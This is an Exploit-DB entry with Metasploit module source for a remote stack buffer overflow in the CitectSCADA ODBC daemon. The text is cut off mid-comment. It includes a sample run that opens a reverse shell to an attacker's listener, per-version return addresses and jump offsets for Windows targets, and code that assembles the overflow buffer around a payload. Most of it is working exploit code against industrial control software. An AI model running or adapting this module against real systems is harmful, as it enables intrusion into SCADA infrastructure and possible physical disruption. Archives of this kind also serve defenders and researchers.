Exploit-DB #6387
Description: CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2008-09-05
Author: Kevin Finisterre

Exploit:
##
# $Id: citect_scada_odbc.rb
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
# 
#
# msfcli exploit/windows/misc/citect_scada_odbc RHOST=192.168.2.45 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=192.168.2.101  TARGET=2 E
# [*] Started reverse handler
# ...
# [*] Sending stage (474 bytes)
# [*] Command shell session 1 opened (192.168.2.101:4444 -> 192.168.2.45:1039)
# 
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# 
# C:\Program Files\Citect\CitectSCADA\Bin>
# 
# Arbitrary code has been sucessfully run on Windows XP SP2 and SP3, Win98 SE and Windows 2003 Server SP1
#
require 'msf/core'

module Msf

class Exploits::Windows::Misc::Citect_SCADA_ODBC < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CitectSCADA ODBC Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in CitectSCADA's ODBC daemon.
				This has only been tested against Citect v5, v6 and v7. 
			},
			'Author'         => [ 'KF <kf_lists[at]digitalmunition.com>' ],
			'Version'        => '$Revision: 1 $',
			'References'     => 
				[
					['CVE', 'CVE-2008-2639'],
					['BID', '29634'],
					['URL', 'http://www.schneider-electric.com/sites/corporate/en/press/press-releases/viewer-press-releases.page?c_filepath=/templatedata/Content/Press_Release/data/en/shared/2005/10/20051019_schneider_electric_adds_scada_and_mes_capabilities_to_i.xml'],
					['URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability','http://www.auscert.org.au/render.html?it=9433'],
					['URL', 'http://www.auscert.org.au/render.html?it=9433'],
					['URL', 'http://www.controsys.hu/anyagok/group_quality_assurance.pdf'],
					['URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					# Small sample of potential targets... There ARE universal targets for *some* versions. The base address can varry unfortunately.
					['CiExceptionMailer.dll on XP Sp2 or SP3 5.42',     { 'Version' => '5.42',    'OS' => 'xp',    'Ret' => 0x003a530e, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],
					['CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0', { 'Version' => '6.0-r0',  'OS' => '2003',  'Ret' => 0x003a6aad, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212  } } ],    
					['CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0',   { 'Version' => '6.0-r0',  'OS' => 'xp',    'Ret' => 0x0039cd5a, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],    
					['CiExceptionMailer.dll on XP Sp2 or SP3 6.10',    { 'Version' => '6.10',    'OS' => 'xp',    'Ret' => 0x00501113, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380  } } ],  
					['CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0',   { 'Version' => '7.0-r0',  'OS' => 'xp',    'Ret' => 0x003e1e92, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380  } } ],  
					['CiExceptionMailer.dll on 2003 Server SP1 7.0-r0', { 'Version' => '7.0-r0',  'OS' => '2003',  'Ret' => 0x003d59d7, 'Jump' => 0xfffffe7be9, 'Payload' => { 'Space' => 376  } } ],  
					['CiExceptionMailer.dll on Win98 5.50-r0',	    { 'Version' => '5.50-r0', 'OS' => 'win98', 'Ret' => 0x006dd8b7, 'Jump' => 0xffffff6fe9, 'Payload' => { 'Space' => 140  } } ],  
					['CiExceptionMailer.dll on XP SP2 5.50-r0',	    { 'Version' => '5.50-r0', 'OS' => 'xp',    'Ret' => 0x003a5e90, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216  } } ],  
					['CiExceptionMailer.dll on 2003 Server 5.50-r0',    { 'Version' => '5.50-r0', 'OS' => '2003',  'Ret' => 0x003952ee, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212  } } ],  
					['Test Crash',	  			            { 'Version' => '666',     'OS' => 'test',  'Ret' => 0xdeadbeef, 'Jump' => 0xdeadbabeee, 'Payload' => { 'Space' => 8192 } } ],  
				], 

			'Privileged'     => false,
			'DisclosureDate' => 'June 11 2008'
			))

			register_options(
			[
				Opt::RPORT(20222)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")
		if payload_space() != payload.encoded.length
			print_status("Metasploit payload bug... please check out from SVN")
			exit
		else 
			print_status("Space: #{payload_space()}")	
		end

		shortjmp   =    0xeb069090      # jump over garbage for SEH foo

		if(target['OS'] =~ /xp/)
			print_status("Using Windows XP Target")
		elsif (target['OS'] =~ /2003/)
			print_status("Using Windows 2003 Target")
		elsif (target['OS'] =~ /98/)
			print_status("no 98 foo yet")
		else (target['OS'] =~ /test/)
			print_status("Just testing.... don't mind me")
		end
	
		padding = 100  # Just fill up the end of the stack... 

		# There is some redundant shit here... will be cleaned up soon enough... 
		if (target['Version'] =~ /5.42/) || (target['Version'] =~ /6.0-r0/)
			filler = "\x90" * 10 + [target['Jump']].pack('Q')[0..4] + "\x90" * padding  
			mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
		elsif (target['Version'] =~ /6.10/) || (target['Version'] =~ /7.0-r0/) 
			filler = [target['Jump']].pack('Q')[0..4] + "\x90" * padding  
			mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
		elsif (target['Version'] =~ /5.50-r0/) 

			# This particular target encompases win98 windows XP and windows 2003 just so that no one feels left out. 
			# EVERYONE *CAN* be exploited... not just the guys running the modern stuff. Someone on